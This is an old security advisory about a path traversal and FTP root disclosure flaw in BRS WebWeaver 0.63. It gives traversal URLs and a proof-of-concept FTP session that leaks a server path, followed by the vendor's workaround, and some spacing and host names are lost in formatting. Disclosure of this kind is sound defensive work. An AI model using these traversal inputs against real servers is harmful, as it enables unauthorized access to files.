BRS WebWeaver Web Server Relative Path Vulnerability

Reported April 29, 2001, by JoeTesta.

VERSION AFFECTED

DESCRIPTION

Avulnerability exists in BRS WebWeaver 0.63 that lets an attacker use relativepaths to break out of an FTP root. For example, an attacker can access the rootdirectory where the FTP server is running by connecting to a vulnerable host andissuing the command http:///syshelp/.. andhttp:///sysimages/.. andhttp:///scripts/.. In addition, an attacker can cause theWeb server to disclose the physical path of FTP root.

DEMONSTRATION

Joe Testa provided the followingproof-of-concept scenario:

>ftp localhost

Connected to xxxxxxxxxxxx.rh.rit.edu.

220 BRS WebWeaver FTP Server ready.

User (xxxxxxxxxxxx.rh.rit.edu:(none)): jdog

331 Password required for jdog.

Password:

230 User jdog logged in.

ftp> cd *

250 CWD command successful. "/*/" is current directory.

ftp> ls

200 Port command successful.

150 Opening data connection for directory list.

c:windowsdesktop**.* not found

226 File sent ok

ftp: 36 bytes received in 0.06Seconds 0.60Kbytes/sec.

ftp>

VENDOR RESPONSE

No solution exists for the FTP root disclosurevulnerability. However, you can prevent the Web server root traversalvulnerability by removing all user-defined aliases (e.g., syshelp and sysimages)as well as the Internet Server API (ISAPI)/Common Gateway Interface (CGI) alias(e.g., scripts). The vendor, BlaineR. Southam, has beennotified, but has not yet provided a fix.

CREDIT

Discovered by JoeTesta.